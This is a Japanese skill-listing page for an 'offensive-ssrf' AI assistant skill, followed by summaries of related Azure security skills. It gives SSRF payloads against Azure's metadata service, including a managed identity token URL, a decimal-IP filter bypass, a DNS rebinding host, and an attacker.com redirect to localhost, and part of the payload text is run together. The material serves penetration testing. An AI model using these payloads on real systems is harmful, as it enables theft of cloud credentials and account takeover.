メニュー
Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities).
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
| name | offensive-ssrf |
| description | Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities). |
| domain | cybersecurity |
| subdomain | web-security |
| tags | ["ssrf","azure","imds","metadata-service","web-security"] |
| version | 1.0 |
| author | openshield |
| license | Apache-2.0 |
| nist_csf | ["PR.AC-3","PR.AC-5","SC-7","PR.DS-1","DE.CM-1"] |
| Term | Definition |
|---|---|
| IMDS | Instance Metadata Service, reachable at 169.254.169.254 in Azure |
| Blind SSRF | A vulnerability where the server makes a request but does not return the content to the attacker |
| DNS Rebinding | A technique to bypass IP filters by changing the DNS resolution of a domain mid-attack |
| Out-of-Band (OOB) | Using an external server (e.g., Burp Collaborator) to detect triggered requests |
Azure's IMDS requires a specific header Metadata: true and an api-version to prevent simple SSRF.
# Accessing Azure Instance Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header required: Metadata: true
# Accessing Managed Identity Tokens
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://2130706433/ (Decimal for 127.0.0.1)rbndr.ushttp://attacker.com/redirect?url=http://127.0.0.1:8080Metadata: true.Identifies and remediates non-quantum-safe cryptographic configurations in Azure including classical TLS key exchange, RSA and ECC keys in Key Vault, and classical certificate algorithms. Maps findings to NIST PQC standards FIPS 203, FIPS 204, and FIPS 205. Use when assessing quantum readiness of Azure infrastructure or building a Cryptographic Bill of Materials.
Queries Azure Monitor activity logs and sign-in logs to detect suspicious administrative operations, impossible travel, and privilege escalation.
Detect abnormal access patterns in Azure Blob Storage by analyzing Storage Analytics and diagnostic logs. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetBlob spikes), and potential data exfiltration.
Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, and guest user risks.
Conduct cloud security audits using Center for Internet Security (CIS) benchmarks for Azure. Covers interpreting CIS Foundations Benchmark controls, running automated assessments, and maintaining continuous compliance monitoring.
Deploy Microsoft Sentinel as a cloud-native SIEM and SOAR platform for Azure. Covers configuring data connectors (Entra ID, Azure Activity), writing KQL detection queries, and building automated response playbooks.